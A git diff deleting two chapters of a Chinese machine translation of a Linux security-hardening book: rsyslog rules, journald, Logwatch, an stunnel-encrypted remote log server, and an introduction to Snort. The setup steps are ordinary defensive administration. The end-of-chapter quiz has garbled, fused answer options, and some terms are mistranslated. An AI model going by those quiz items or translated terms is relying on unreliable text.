的发行版上的工作原理基本相同,只是在配置文件的设置方式上有一些不同。但是,在我们看差异之前,让我们看看有什么相同之处。 - -# 了解 rsyslog 日志记录规则 - -日志记录规则定义每个特定系统服务的消息记录位置: - -* 在红帽/CentOS 系统上,规则存储在`/etc/rsyslog.conf`文件中。向下滚动,直到看到`#### RULES ####`部分。 -* 在 Debian/Ubuntu 系统上,规则在`/etc/rsyslog.d/`目录的单独文件中。我们现在关心的主要文件是`50-default.conf`文件,它包含了主要的日志记录规则。 - -为了解释 rsyslog 规则的结构,让我们从一台 CentOS 8 机器来看这个例子: - -```sh -authpriv.* /var/log/secure -``` - -细分如下: - -* `authpriv`:这是设施,定义了消息的类型。 -* `.`:点将设施和关卡分开,关卡是下一个区域。 -* `*`:这是级别,表示消息的重要性。在这种情况下,我们只有一个通配符,这意味着`authpriv`设施的所有级别都会被记录。 -* `/var/log/secure`:就是这个动作,真的是这个消息的目的地。(我不知道为什么有人决定称之为行动。) -* 当我们把这些放在一起时,我们看到所有级别的`authpriv`消息都会被发送到`/var/log/secure`文件中。 - -以下是预定义 rsyslog 工具的列表: - -* `auth`:授权系统生成的消息(`login`、`su`、`sudo`等) -* `authpriv`:授权系统生成的消息,但只能被选定的用户读取 -* `cron`:由`cron`守护进程生成的消息 -* `daemon`:所有系统守护进程生成的消息(例如,`sshd`、`ftpd`等) -* `ftp`:给`ftp`的信息 -* `kern`:Linux 内核生成的消息 -* `lpr`:行式打印机假脱机生成的消息 - -* `mail`:邮件系统生成的消息 -* `mark`:系统日志中的周期性时间戳消息 -* `news`:网络新闻系统生成的消息 -* `rsyslog`:rsyslog 内部生成的消息 -* `user`:用户生成的消息 -* `local0-7`:自定义消息,用于编写自己的脚本 - -以下是不同级别的列表: - -* `none`:禁用设施的日志记录 -* `debug`:仅调试 -* `info`:信息 -* `notice`:待审查的问题 -* `warning`:警告信息 -* `err`:错误条件 -* `crit`:危急情况 -* `alert`:紧急消息 -* `emerg`:紧急 - -除了调试级别,您为设施设置的任何级别都将导致该级别的消息通过`emerg`被记录。例如,当您设置`info`级别时,`info`级别至`emerg`级别的所有消息都会被记录。考虑到这一点,让我们来看一个更复杂的日志记录规则示例,同样来自 CentOS 8 机器: - -```sh -*.info;mail.none;authpriv.none;cron.none /var/log/messages -``` - -细分如下: - -* `*.info`:指来自`info`级及以上所有设施的信息。 -* `;`:这是复合规则。分号将此规则的不同组件相互分隔开来。 -* `mail.none;authpriv.none;cron.none`:这是这条规则的三个例外。来自`mail`、`authpriv`和`cron`设施的信息不会发送到`/var/log/messages`文件。这三个工具有自己的日志文件规则。(我们刚才看的`authpriv`规则就是其中之一。) - -Ubuntu 机器上的规则与 CentOS 机器上的规则并不完全相同。但是,如果你理解了这些例子,你就不会在理解 Ubuntu 规则上有任何困难。 - -如果您对`rsyslog.conf`文件进行了更改,或者向`/etc/rsyslog.d`目录添加了任何规则文件,您将需要重新启动 rsyslog 守护程序来读取新的配置。这样做: - -```sh -[donnie@localhost ~]$ sudo systemctl restart rsyslog -[sudo] password for donnie: -[donnie@localhost ~]$ -``` - -现在你已经对 rsyslog 有了基本的了解,让我们看看 journald,它是镇上的新成员。 - -# 理解期刊 - -您可以在任何使用 systemd 生态系统的 Linux 发行版上找到日志记录系统。journald 不是将其消息发送到文本文件,而是将消息发送到二进制文件。您必须使用`journalctl`实用程序,而不是使用普通的 Linux 文本文件实用程序来提取信息。在撰写本文时,据我所知,还没有一个 Linux 发行版完全过渡到日志。当前使用 systemd 的 Linux 发行版并行运行 journald 和 rsyslog。目前,默认情况下,日志文件是临时文件,每次重新启动计算机时都会被删除。(您可以将 journald 配置为使其日志文件持久化,但是只要我们仍然需要保留旧的 rsyslog 文件,这可能就没什么意义了。) - -RHEL 8/CentOS 8 的一个新特性是,日志记录,而不是 rsyslog,现在实际上是从操作系统的其他部分收集日志消息。但是 rsyslog 仍然存在,从 journald 收集消息,并将其发送到老式的 rsyslog 文本文件中。因此,您管理日志文件的方式并没有真正改变。 - -完全脱离 rsyslog 可能还需要几年时间。一个原因是,第三方日志聚合和分析实用程序,如 LogStash、Splunk 和 Nagios,仍然被设置为读取文本文件,而不是二进制文件。另一个原因是,在这一点上,使用 journald 作为远程中央日志服务器仍处于概念验证阶段,还没有准备好投入生产使用。所以,目前,journald 并不是 rsyslog 的合适替代品。 - -要查看完整的日志文件,请使用`journalctl`命令。使用 Ubuntu,安装操作系统的人被添加到`adm`组,这允许该人在没有 sudo 或 root 权限的情况下使用`journalctl`。以后添加的任何用户都只能看到他们自己的消息。事实上,弗兰克的遭遇是这样的: - -```sh -frank@ubuntu4:~$ journalctl -Hint: You are currently not seeing messages from other users and the system. - Users in groups 'adm', 'systemd-journal' can see all messages. - Pass -q to turn off this notice. --- Logs begin at Tue 2019-11-26 17:43:28 UTC, end at Tue 2019-11-26 17:43:28 UTC. -- -Nov 26 17:43:28 ubuntu4 systemd[10306]: Listening on GnuPG cryptographic agent and passphrase cache. -Nov 26 17:43:28 ubuntu4 systemd[10306]: Reached target Timers. -Nov 26 17:43:28 ubuntu4 systemd[10306]: Listening on GnuPG cryptographic agent and passphrase cache (restricted). -. . . -. . . -Nov 26 17:43:28 ubuntu4 systemd[10306]: Reached target Basic System. -Nov 26 17:43:28 ubuntu4 systemd[10306]: Reached target Default. -Nov 26 17:43:28 ubuntu4 systemd[10306]: Startup finished in 143ms. -frank@ubuntu4:~$ -``` - -要查看来自系统或其他用户的消息,必须将这些新用户添加到`adm`或`systemd-journal`组,或者授予适当的 sudo 权限。使用 RHEL/CentOS,不会自动将任何用户添加到`adm`或`systemd-journal`组。因此,最初,只有具有 sudo 权限的用户才能查看日志。 - -根据情况选择`journalctl`或`sudo journalctl`,自动打开`more`寻呼机中的日志。(`journalctl`手册页说它使用了`less`,但它说谎了。)因此,您将不得不使用空格键,而不是像使用更少的键那样使用向下翻页键来浏览文件。您将看到的内容与您在普通 rsyslog 日志文件中看到的内容基本相同,但有以下例外: - -* 长长的队伍从屏幕的右边穿过。要查看其余的行,请使用右光标键。 -* 您还将看到颜色编码和突出显示,以使不同类型的信息脱颖而出。`ERROR`级及以上的消息为红色,从`NOTICE`级至`ERROR`级的消息用粗体字突出显示。 - -有许多选项可以以各种格式显示不同类型的信息。例如,要仅在 CentOS 上看到关于 SSH 服务的消息,请使用`--unit`选项,如下所示: - -```sh -[donnie@localhost ~]$ sudo journalctl --unit=sshd --- Logs begin at Tue 2019-11-26 12:00:13 EST, end at Tue 2019-11-26 15:55:19 EST. -- -Nov 26 12:00:41 localhost.localdomain systemd[1]: Starting OpenSSH server daemon... -Nov 26 12:00:42 localhost.localdomain sshd[825]: Server listening on 0.0.0.0 port 22. -Nov 26 12:00:42 localhost.localdomain sshd[825]: Server listening on :: port 22. -Nov 26 12:00:42 localhost.localdomain systemd[1]: Started OpenSSH server daemon. -Nov 26 12:22:08 localhost.localdomain sshd[3018]: Accepted password for donnie from 192.168.0.251 port 50797 ssh2 -Nov 26 12:22:08 localhost.localdomain sshd[3018]: pam_unix(sshd:session): session opened for user donnie by (uid=0) -Nov 26 13:03:33 localhost.localdomain sshd[4253]: Accepted password for goldie from 192.168.0.251 port 50912 ssh2 -Nov 26 13:03:34 localhost.localdomain sshd[4253]: pam_unix(sshd:session): session opened for user goldie by (uid=0) -[donnie@localhost ~]$ -``` - -您不能对这些二进制日志使用 grep 实用程序,但可以使用`-g`选项搜索字符串。默认情况下,它不区分大小写,即使嵌入到另一个文本字符串中,也能找到所需的文本字符串。这里,我们看到它找到了文本字符串,`fail`: - -```sh -[donnie@localhost ~]$ sudo journalctl -g fail --- Logs begin at Tue 2019-11-26 12:00:13 EST, end at Tue 2019-11-26 15:57:19 EST. -- -Nov 26 12:00:13 localhost.localdomain kernel: NMI watchdog: Perf event create on CPU 0 failed with -2 -Nov 26 12:00:13 localhost.localdomain kernel: acpi PNP0A03:00: fail to add MMCONFIG information, can't access extended PCI configuration space under this bridge. -Nov 26 12:00:14 localhost.localdomain kernel: [drm:vmw_host_log [vmwgfx]] *ERROR* Failed to send log -Nov 26 12:00:14 localhost.localdomain kernel: [drm:vmw_host_log [vmwgfx]] *ERROR* Failed to send log -. . . - -``` - -除了这些,还有很多选择。要看到它们,只需这样做: - -```sh -man journalctl -``` - -现在,您已经了解了使用 rsyslog 和 journald 的基本知识,让我们来看看一个很酷的实用程序,它可以帮助减轻日志审查的痛苦。 - -# 使用 Logwatch 让事情变得更简单 - -你知道做每日日志回顾有多重要。但你也知道这有多麻烦,你宁愿挨一顿毒打。幸运的是,有各种实用程序可以让工作变得更容易。在普通 Linux 发行版存储库中的各种选择中,Logwatch 是我最喜欢的。 - -Logwatch 没有第三方日志聚合器的花哨功能,但它仍然相当不错。每天早上,你会发现一份前一天发送到你邮件账户的日志摘要。根据邮件系统的配置,您可以将摘要发送到本地计算机上的用户帐户或您可以从任何地方访问的电子邮件帐户。设置起来非常简单,所以让我们通过动手实验来演示一下。 - -# 动手实验–安装日志观察 - -为了传递消息,Logwatch 要求机器也有一个正在运行的邮件服务器守护程序。根据您在安装操作系统时选择的选项,您可能已经安装或尚未安装 Postfix 邮件服务器。当 Postfix 被设置为本地服务器时,它将向根用户的本地帐户传递系统消息。 - -要在本地机器上查看日志监视摘要,您还需要安装一个文本模式的邮件阅读器,比如 mutt。 - -在本实验中,您可以使用任何虚拟机: - -1. 安装 Logwatch、mutt,如有必要,安装 Postfix。(在 Ubuntu 上,安装 Postfix 时选择`local`选项。对于 CentOS,`local`选项已经是默认选项。)对于 Ubuntu,请使用以下内容: - -```sh -sudo apt install postfix mutt logwatch - -``` - -对于 CentOS 7,请使用以下内容: - -```sh -sudo yum install postfix mutt logwatch -``` - -对于 CentOS 8,请使用以下内容: - -```sh -sudo dnf install postfix mutt logwatch -``` - -2. 仅在 Ubuntu 上,为您的用户帐户创建一个邮件假脱机文件: - -```sh -sudo touch /var/mail/your_user_name -``` - -3. 在你喜欢的文本编辑器中打开`/etc/aliases`文件。通过在文件底部添加以下行,将其配置为将 root 用户的邮件转发到您自己的正常帐户: - -```sh -root: *your_user_name* -``` - -4. 保存文件,然后将其中的信息复制到系统可以读取的二进制文件中。这样做: - -```sh -sudo newaliases -``` - -5. 此时,您已经有了一个完全可操作的日志观察实现,它将提供每日日志摘要,详细程度很低*。要查看默认配置,请查看默认配置文件:* - -```sh -less /usr/share/logwatch/default.conf/logwatch.conf -``` - -6. 要更改配置,请在 CentOS 上编辑`/etc/logwatch/conf/logwatch.conf`文件,或者在 Ubuntu 上创建该文件。通过添加以下行,更改为中等级别的日志记录详细信息: - -```sh -Detail = Med -``` - -Logwatch is a Python script that runs every night on a scheduled basis. So, there's no daemon that you have to restart to make configuration changes take effect. - -7. 执行一些会生成一些日志条目的操作。您可以通过执行系统更新、安装一些软件包并使用`sudo fdisk -l`查看分区配置来实现。 -8. 如果可能,让您的虚拟机整夜运行。早上,通过执行以下操作查看日志摘要: - -```sh -mutt -``` - -当提示在主目录中创建`Mail`目录时,点击 *y* 键。 - -7. 实验室到此结束。 - -现在,您已经看到了进行日志审查的简单方法,让我们进入本章的最后一个主题,即如何设置中央日志服务器。 - -# 设置远程日志服务器 - -到目前为止,我们只是在本地机器上处理日志文件。但是,与其必须登录每台机器来查看日志文件,不如将每台机器上的所有日志文件都放在一台服务器上,这样不是很好吗?你可以做到的。最棒的是很容易。 - -但是方便并不是在一台中央服务器上收集日志文件的唯一原因。还有日志文件安全性的问题。如果我们将所有日志文件留在每个单独的主机上,网络入侵者就更容易找到这些文件并对其进行修改,以删除任何关于其邪恶活动的消息。(这很容易做到,因为大多数日志文件只是可以在普通文本编辑器中编辑的明文文件。) - -# 动手实验–设置基本日志服务器 - -在 Ubuntu 和 CentOS 上设置服务器是相同的。建立客户只有一个小区别。为了获得最佳结果,请确保服务器虚拟机和客户端虚拟机都有不同的主机名: - -1. 在日志收集服务器虚拟机上,在您最喜欢的文本编辑器中打开`/etc/rsyslog.conf`文件,并查找靠近文件顶部的这些行: - -```sh -# Provides TCP syslog reception -#module(load="imtcp") # needs to be done just once -#input(type="imtcp" port="514") -``` - -2. 取消底部两行的注释并保存文件。诗节现在应该是这样的: - -```sh -# Provides TCP syslog reception -module(load="imtcp") # needs to be done just once -input(type="imtcp" port="514") -``` - -3. 重启`rsyslog`守护程序: - -```sh -sudo systemctl restart rsyslog -``` - -4. 如果机器有主动防火墙,打开端口`514/tcp`。 - -5. 接下来,配置客户机。对于 Ubuntu,在`/etc/rsyslog.conf`文件的底部添加以下一行,替换您自己的服务器虚拟机的 IP 地址: - -```sh -@@192.168.0.161:514 -``` - -对于 CentOS,在`/etc/rsyslog.conf`文件的底部查找这一节: - -```sh -# ### sample forwarding rule ### -#action(type="omfwd" -# An on-disk queue is created for this action. If the remote host is -# down, messages are spooled to disk and sent when it is up again. -#queue.filename="fwdRule1" # unique name prefix for spool files -#queue.maxdiskspace="1g" # 1gb space limit (use as much as possible) -#queue.saveonshutdown="on" # save messages to disk on shutdown -#queue.type="LinkedList" # run asynchronously -#action.resumeRetryCount="-1" # infinite retries if host is down -# Remote Logging (we use TCP for reliable delivery) -# remote_host is: name/ip, e.g. 192.168.0.1, port optional e.g. 10514 -#Target="remote_host" Port="XXX" Protocol="tcp" -``` - -删除每一行明显不是真正注释的注释符号。为日志服务器虚拟机添加 IP 地址和端口号。成品应该是这样的: - -```sh -# ### sample forwarding rule ### -action(type="omfwd" -# An on-disk queue is created for this action. If the remote host is -# down, messages are spooled to disk and sent when it is up again. -queue.filename="fwdRule1" # unique name prefix for spool files -queue.maxdiskspace="1g" # 1gb space limit (use as much as possible) -queue.saveonshutdown="on" # save messages to disk on shutdown -queue.type="LinkedList" # run asynchronously -action.resumeRetryCount="-1" # infinite retries if host is down -# Remote Logging (we use TCP for reliable delivery) -# remote_host is: name/ip, e.g. 192.168.0.1, port optional e.g. 10514 -Target="192.168.0.161" Port="514" Protocol="tcp") -``` - -6. 保存文件,然后重新启动`rsyslog`守护程序。 -7. 在服务器虚拟机上,验证来自服务器虚拟机和客户端虚拟机的消息是否已发送到日志文件。(您可以通过不同消息的不同主机名来辨别。) -8. 实验室到此结束。 - -虽然这很酷,但设置还是有一些缺陷。一是我们使用非加密的明文连接将日志文件发送到服务器。我们来解决这个问题。 - -# 创建到日志服务器的加密连接 - -我们将使用 stunnel 包来创建我们的加密连接。很简单,只是 Ubuntu 和 CentOS 的程序不同。区别如下: - -* 正如我在[第 5 章](05.html)、*加密技术*中向您展示的那样,使用 CentOS 8,FIPS 模块是免费的。它们不适用于 CentOS 7,只有在您愿意购买支持合同的情况下,它们才适用于 Ubuntu。因此,目前,我们在 stunnel 中利用 FIPS 模式的唯一方法是在 CentOS 8 上设置它。 -* 在 CentOS 上,stunnel 作为系统服务运行。在 Ubuntu 上,出于某种奇怪的原因,它仍然被设置为使用老式的`init`脚本运行。因此,我们必须处理控制 stunnel 守护进程的两种不同方法。 - -让我们从 CentOS 程序开始。 - -# 在 CentOS 8 服务器端创建 stunnel 连接 - -在本实验中,我们使用的 CentOS 8 虚拟机已设置为在 FIPS 兼容模式下运行(请参见第 5 章*加密技术*中的步骤): - -1. 在 CentOS 8 虚拟机上,安装 stunnel: - -```sh -sudo dnf install stunnel -``` - -2. 在服务器上的`/etc/stunnel`目录内,创建一个新的`stunnel.conf`文件,其内容如下: - -```sh -cert=/etc/stunnel/stunnel.pem -fips=yes - -[hear from client] -accept=30000 -connect=127.0.0.1:6514 -``` - -3. 在服务器上,当仍在`/etc/stunnel`目录内时,创建`stunnel.pem`证书文件: - -```sh -sudo openssl req -new -x509 -days 3650 -nodes -out stunnel.pem -keyout stunnel.pem -``` - -4. 在服务器上,打开防火墙上的端口`30000`,关闭端口`514`: - -```sh -sudo firewall-cmd --permanent --add-port=30000/tcp -sudo firewall-cmd --permanent --remove-port=514/tcp -sudo firewall-cmd --reload -``` - -Port `6514`, which you see in the `stunnel.conf` file, is strictly for internal communication between `rsyslog` and `stunnel`. So, for that, we don't need to open a firewall port. We're configuring stunnel to listen on port `30000` on behalf of rsyslog, so we no longer need to have port `514` open on the firewall. - -5. 通过执行以下操作,启用并启动`stunnel`守护程序: - -```sh -sudo systemctl enable --now stunnel -``` - -6. 在`/etc/rsyslog.conf`文件中,查找文件顶部的这一行: - -```sh -input(type="imtcp" port="514") -``` - -将其更改为以下内容: - -```sh -input(type="imtcp" port="6514") -``` - -7. 保存文件后,重启`rsyslog`: - -```sh -sudo systemctl restart rsyslog -``` - -8. 服务器现在可以通过加密连接从远程客户端接收日志文件。 - -接下来,我们将配置一个 CentOS 8 虚拟机,将其日志发送到该服务器。 - -# 在 CentOS 8 客户端创建 stunnel 连接 - -在此过程中,我们将配置一台 CentOS 8 机器将其日志发送到日志服务器(无论日志服务器是运行在 CentOS 还是 Ubuntu 上): - -1. 安装`stunnel`: - -```sh -sudo dnf install stunnel -``` - -2. 在`/etc/stunnel`目录下,创建包含以下内容的`stunnel.conf`文件: - -```sh -client=yes -fips=yes - -[speak to server] -accept=127.0.0.1:6514 -connect=192.168.0.161:30000 -``` - -In the `connect` line, substitute the IP address of your own log server for the one you see here. - -3. 启用并启动`stunnel`守护程序: - -```sh -sudo systemctl enable --now stunnel -``` - -4. 在`/etc/rsyslog.conf`文件的底部,查找这一行: - -```sh -Target="192.168.0.161" Port="514" Protocol="tcp") -``` - -将其更改为: - -```sh -Target="127.0.0.1" Port="6514" Protocol="tcp") -``` - -5. 保存文件后,重启`rsyslog`守护程序: - -```sh -sudo systemctl restart rsyslog -``` - -6. 在客户端,使用`logger`向日志文件发送消息: - -```sh -logger "This is a test of the stunnel setup." -``` - -7. 在服务器上,验证消息是否已添加到`/var/log/messages`文件中。 -8. 实验室到此结束。 - -现在让我们把注意力转向 Ubuntu。 - -# 在 Ubuntu 服务器端创建 stunnel 连接 - -为此,请使用 Ubuntu 18.04 虚拟机: - -1. 安装`stunnel`: - -```sh -sudo apt install stunnel -``` - -1. 在`/etc/stunnel`目录下,创建包含以下内容的`stunnel.conf`文件: - -```sh -cert=/etc/stunnel/stunnel.pem -fips=no - -[hear from client] -accept=30000 -connect=6514 -``` - -3. 当仍在`/etc/stunnel`目录中时,创建`stunnel.pem`证书: - -```sh -sudo openssl req -new -x509 -days 3650 -nodes -out stunnel.pem -keyout stunnel.pem -``` - -4. 启动`stunnel`守护程序: - -```sh -sudo /etc/init.d/stunnel4 start -``` - -5. 要使其在重新启动系统时自动启动,请编辑`/etc/default/stunnel4`文件。寻找这一行: - -```sh -ENABLED=0 -``` - -将其更改为: - -```sh -ENABLED=1 -``` - -6. 在`/etc/rsyslog.conf`文件中,查找顶部的这一行: - -```sh -input(type="imtcp" port="514") -``` - -将其更改为: - -```sh -input(type="imtcp" port="6514") -``` - -7. 保存文件后,重启`rsyslog`守护程序: - -```sh -sudo systemctl restart rsyslog -``` - -8. 使用适当的`iptables`、`ufw`或`nftables`命令,打开防火墙上的端口`30000/tcp`,关闭端口`514`。 -9. 实验室到此结束。 - -接下来,我们将配置客户端。 - -# 在 Ubuntu 客户端创建 stunnel 连接 - -在 Ubuntu 客户端上使用此过程将允许它将其文件发送到 CentOS 或 Ubuntu 日志服务器: - -1. 安装`stunnel`: - -```sh -sudo apt install stunnel -``` - -2. 在`/etc/stunnel`目录下,创建包含以下内容的`stunnel.conf`文件: - -```sh -client=yes -fips=no - -[speak to server] -accept = 127.0.0.1:6514 -connect=192.168.0.161:30000 -``` - -Note that even though we can't use FIPS mode on the Ubuntu clients, we can still have them send log files to a CentOS log server that is configured to use FIPS mode. (So, yes, we can mix and match.) - -3. 启动`stunnel`守护程序: - -```sh -sudo /etc/init.d/stunnel4 start -``` - -4. 要使其在重新启动系统时自动启动,请编辑`/etc/default/stunnel4`文件。寻找这一行: - -```sh -ENABLED=0 -``` - -将其更改为: - -```sh -ENABLED=1 -``` - -5. 在`/etc/rsyslog.conf`文件的底部,查找有日志服务器 IP 地址的那一行。将其更改为: - -```sh -@@127.0.0.1:6514 -``` - -6. 保存文件后,重启`rsyslog`守护程序: - -```sh -sudo systemctl restart rsyslog -``` - -7. 使用`logger`向日志服务器发送消息: - -```sh - logger "This is a test of the stunnel connection." -``` - -8. 在服务器上,验证消息是否在`/var/log/messages`或`/var/log/syslog`文件中。 -9. 实验室到此结束。 - -好了,我们现在有了一个安全的连接,这是一件好事。但是来自所有客户端的消息仍然混杂在服务器自己的日志文件中。我们来解决这个问题。 - -# 将客户端消息分离到它们自己的文件中 - -这是另一件容易的事。我们将对日志服务器上的 rsyslog 规则进行一些简单的编辑,然后重新启动 rsyslog 守护程序。对于我们的演示,我将使用 CentOS 8 虚拟机。 - -在`/etc/rsyslog.conf`文件的 RULES 部分,我将查找这一行: - -```sh -*.info;mail.none;authpriv.none;cron.none /var/log/messages -``` - -我会把它改成这样: - -```sh -*.info;mail.none;authpriv.none;cron.none ?Rmessages -``` - -在那一行之上,我将插入这一行: - -```sh -$template Rmessages,"/var/log/%HOSTNAME%/messages" -``` - -然后,我将对`auth`消息进行同样的操作: - -```sh -# authpriv.* /var/log/secure -$template Rauth,"/var/log/%HOSTNAME%/secure" -auth.*,authpriv.* ?Rauth -``` - -最后,我来重启`rsyslog`: - -```sh -sudo systemctl restart rsyslog -``` - -现在,当我查看`/var/log`目录时,我看到了向该服务器发送日志的每个客户端的目录。很狡猾,是吧? - -The trick here is to always have a `$template` line *precede* the affected rule. - -这就结束了新的一章。现在,您已经了解了在日志文件中查找什么,如何使日志审查更容易,以及如何设置安全的远程日志服务器。 - -# 摘要 - -在本章中,我们查看了不同类型的日志文件,重点是包含安全相关信息的文件。然后,我们看了 rsyslog 和日志记录系统的基本操作。为了让日志审查更容易一些,我们引入了日志观察,它会自动创建前一天日志文件的摘要。我们通过设置一个中央远程日志服务器来收集来自其他网络主机的日志文件,从而将事情包装起来。 - -在下一章中,我们将研究如何进行漏洞扫描和入侵检测。到时候见。 - -# 问题 - -1. 以下哪两个是记录身份验证相关事件的日志文件? - -A.`syslog` -b .`authentication.log`T6】c .`auth.log`T7】d .`secure.log`T8】e .`secure` - -2. 哪个日志文件包含关于谁登录到系统以及他们正在做什么的当前记录? - -A.`/var/log/syslog`T4【b .】`/var/log/utmp`T5【c .】`/var/log/btmp`T6【d .`/var/run/utmp` - -3. 以下哪个是几乎每个现代 Linux 发行版上运行的主要日志记录系统? - -A.系统日志 - -4. 以下哪一项是 RHEL 8 及其后代所特有的,例如 CentOS 8? - -A.在 RHEL 8 系统上,journald 从系统的其他部分收集日志数据并将其发送到 rsyslog。 -B .在 RHEL 8 系统上,journald 已经完全取代 rsyslog。 -C .在 RHEL 8 系统上,rsyslog 从系统的其余部分收集数据,并将其发送到 journald。 -D. RHEL 8 系统使用 syslog-ng。 - -5. 设置 stunnel 时,以下哪一项是需要考虑的? - -A.在 RHEL 系统上,FIPS 模式不可用。 -B .在 Ubuntu 系统上,FIPS 模式不可用。 - -C.在 Ubuntu 系统上,FIPS 模式是可用的,但前提是您购买了支持合同。 -D .在 RHEL 8 和 CentOS 8 上,FIPS 模式可用,但前提是您购买了支持合同。 - -6. 关于 stunnel,以下哪两种说法是正确的? - -A.在 RHEL 系统上,stunnel 作为正常的系统服务运行。 -B .在 RHEL 系统上,stunnel 仍然运行在老式的`init`脚本下。 -C .在 Ubuntu 系统上,stunnel 作为正常的系统服务运行。在 Ubuntu 系统上,stunnel 运行在一个老式的`init`脚本下。 - -7. _____ 必须编辑文件才能将根用户的消息转发到您自己的用户帐户? -8. 编辑完*问题 7* 中引用的文件后,_____ 命令必须运行才能将信息传输到系统可以读取的二进制文件中吗? -9. 要为远程日志服务器创建 stunnel 设置,必须为服务器和每个客户端创建一个安全证书。 - -A.真 -B .假 - -10. 您会使用以下哪个命令在日志文件中查找`fail`文本字符串? - -A.`sudo grep fail /var/log/journal/messages`T4【b .】`sudo journalctl -g fail`T5【c .】`sudo journalctl -f fail`T6【d .`sudo less /var/log/journal/messages` - -# 进一步阅读 - -* 五个开源日志管理程序:[https://fosspost.org/lists/open-source-log-management](https://fosspost.org/lists/open-source-log-management) -* *什么是 SIEM?*:[https://www . tripwire . com/安全状态/事件检测/日志管理-siem/什么是 siem/](https://www.tripwire.com/state-of-security/incident-detection/log-management-siem/what-is-a-siem/) -* *你必须监控的 12 个关键 Linux 日志文件*:[https://www . europps . com/blog/important-Linux-Log-Files-你必须监控/](https://www.eurovps.com/blog/important-linux-log-files-you-must-be-monitoring/) -* *分析 Linux 日志*:[https://www.loggly.com/ultimate-guide/analyzing-linux-logs/](https://www.loggly.com/ultimate-guide/analyzing-linux-logs/) - -* Linux 日志文件示例:[https://www.poftut.com/linux-log-files-varlog/](https://www.poftut.com/linux-log-files-varlog/) -* rsyslog 主页:[https://www.rsyslog.com/](https://www.rsyslog.com/) -* *为什么记入日志?*:[https://www.loggly.com/blog/why-journald/](https://www.loggly.com/blog/why-journald/) -* Journalctl 备忘单:[https://www . golinuxcloud . com/view-logs-use-journal CTL-filter-journal/](https://www.golinuxcloud.com/view-logs-using-journalctl-filter-journald/) -* *由亚当·k·迪恩撰写的《Linux 管理食谱》*:[https://www . packtpub . com/虚拟化与云/linux 管理食谱](https://www.packtpub.com/virtualization-and-cloud/linux-administration-cookbook) -* 日志观察项目页面:[https://sourceforge.net/projects/logwatch/](https://sourceforge.net/projects/logwatch/) -* stunnel 主页:[https://www.stunnel.org/](https://www.stunnel.org/)* \ No newline at end of file diff --git a/docs/master-linux-sec-hard/13.md b/docs/master-linux-sec-hard/13.md deleted file mode 100644 index 1be4c5ba..00000000 --- a/docs/master-linux-sec-hard/13.md +++ /dev/null @@ -1,675 +0,0 @@ -# 十三、漏洞扫描和入侵检测 - -外面有很多威胁,其中一些甚至可能会渗透到你的网络中。你会想知道什么时候会发生这种情况,所以你会想有一个好的**网络入侵检测系统** ( **NIDS** )到位。在本章中,我们将讨论 Snort,它可能是最著名的一个。然后,我将向您展示一种作弊的方法,这样您就可以立即启动并运行 Snort 系统。我还将向您展示一种快速简单的方法来设置边缘防火墙设备,包括内置的 NIDS。 - -我们已经学习了如何通过在要扫描的机器上安装扫描工具来扫描机器上的病毒和 rootkits。然而,我们可以扫描更多的漏洞,我将向您展示一些很酷的工具。 - -本章将涵盖以下主题: - -* Snort 和安全洋葱简介 -* IPFire 及其内置的**入侵防御系统** ( **IPS** ) -* 使用 Lynis 进行扫描和加固 -* 使用 OpenVAS 查找漏洞 -* 使用 Nikto 扫描网络服务器 - -所以,如果你准备好了,让我们从挖掘 Snort 网络入侵检测系统开始。 - -# Snort 和安全洋葱简介 - -Snort 是一个 NIDS,作为一个免费的开源软件产品提供。该程序本身是免费的,但是如果您想要一套完整的、最新的威胁检测规则,您需要付费。Snort 最初是一个人的项目,但现在归思科所有。不过,要明白,这不是你安装在机器上想要保护的东西。相反,您将在网络上的某个地方至少有一台专用的 Snort 机器,只是监视所有网络流量,观察异常情况。当它看到不应该在那里的流量时——例如,指示机器人存在的东西——它可以只向管理员发送警报消息,或者甚至可以阻止异常流量,这取决于规则是如何配置的。对于一个小型网络,您可以只有一台 Snort 机器,同时充当控制台和传感器。对于大型网络,您可以将一台 Snort 机器设置为控制台,并让它从设置为传感器的其他 Snort 机器接收报告。 - -Snort 并不难处理,但是从头开始设置一个完整的 Snort 解决方案可能有点乏味。在我们了解了 Snort 的基本用法之后,我将向您展示如何通过设置一个预构建的 Snort 设备来极大地简化事情。 - -Space doesn't permit me to present a comprehensive tutorial about Snort. Instead, I'll present a high-level overview and then present you with other resources if you want to learn about Snort in detail. - -首先,让我们下载并安装 Snort。 - -# 获取和安装 Snort - -Snort 不在任何 Linux 发行版的官方存储库中,所以您需要从 Snort 网站获取它。在他们的下载页面上,你会看到 Fedora 和 CentOS 的`.rpm`格式安装文件,以及 Windows 的`.exe`安装文件。然而,你不会看到任何 Ubuntu 的`.deb`安装文件。这很好,因为它们还提供了可以在各种不同的 Linux 发行版上编译的源代码文件。简单来说,我们就来说说用预建的`.rpm`包在 CentOS 7 上安装 Snort。(在撰写本文时,他们仍然没有 CentOS 8 的软件包。) - -You can get Snort and Snort training from the official Snort website: [https://www.snort.org](https://www.snort.org). - -# 动手实验–在 CentOS 7 上安装 Snort - -按照以下步骤在 CentOS 7 上安装 Snort: - -1. 在 Snort 主页上,只需向下滚动一点,您就会看到如何下载和安装 Snort 的指南。单击 Centos 选项卡并按照步骤操作。步骤 1 中的命令将在一次流畅的操作中下载并安装 Snort,如下图所示: - -![](img/d991b78a-0464-4a3d-9276-be553fee8c08.png) - -2. 第 2 步和第 3 步包括注册您的 Oinkcode,以便您可以下载官方的 Snort 检测规则,然后安装 PulledPork,以便您可以保持规则自动更新,如下图所示: - -![](img/f90086c7-0ebc-4a02-a1ad-d71fd0287850.png) - -但是请记住,Snort 提供的免费检测规则比付费用户晚了一个月左右。出于学习的目的,它们是你所需要的。此外,如果您选择不获取 Oinkcode,您可以只使用 Community 规则,它是官方 Snort 规则的子集。 - -3. 第 4 步只是阅读文档: - -![](img/2b0754ca-9303-43b3-9f63-326bc723795b.png) - -就这样。您现在有了一个 Snort 的工作副本。唯一的问题是,到目前为止,您所拥有的只是命令行界面,这可能不是您想要的。 - -您已经完成了本实验–祝贺您! - -# Snort 的图形界面 - -简单、不加修饰的 Snort 将做您需要它做的事情,并将它的发现保存到它自己的日志文件集中。然而,阅读日志文件来辨别网络流量趋势可能会有点乏味,所以您需要一些工具来帮助您。最好的工具是图形工具,它可以让你很好地可视化你的网络。 - -一个例子是**基础分析与安全引擎** ( **BASE** ,如下图截图所示: - -![](img/264964f8-646f-4790-98fa-d454d2bf2758.png) - -还有几个,但是当我们到达*安全洋葱*部分时,我会给你看。 - -You can find out more about BASE from the author's *Professionally Evil* website: 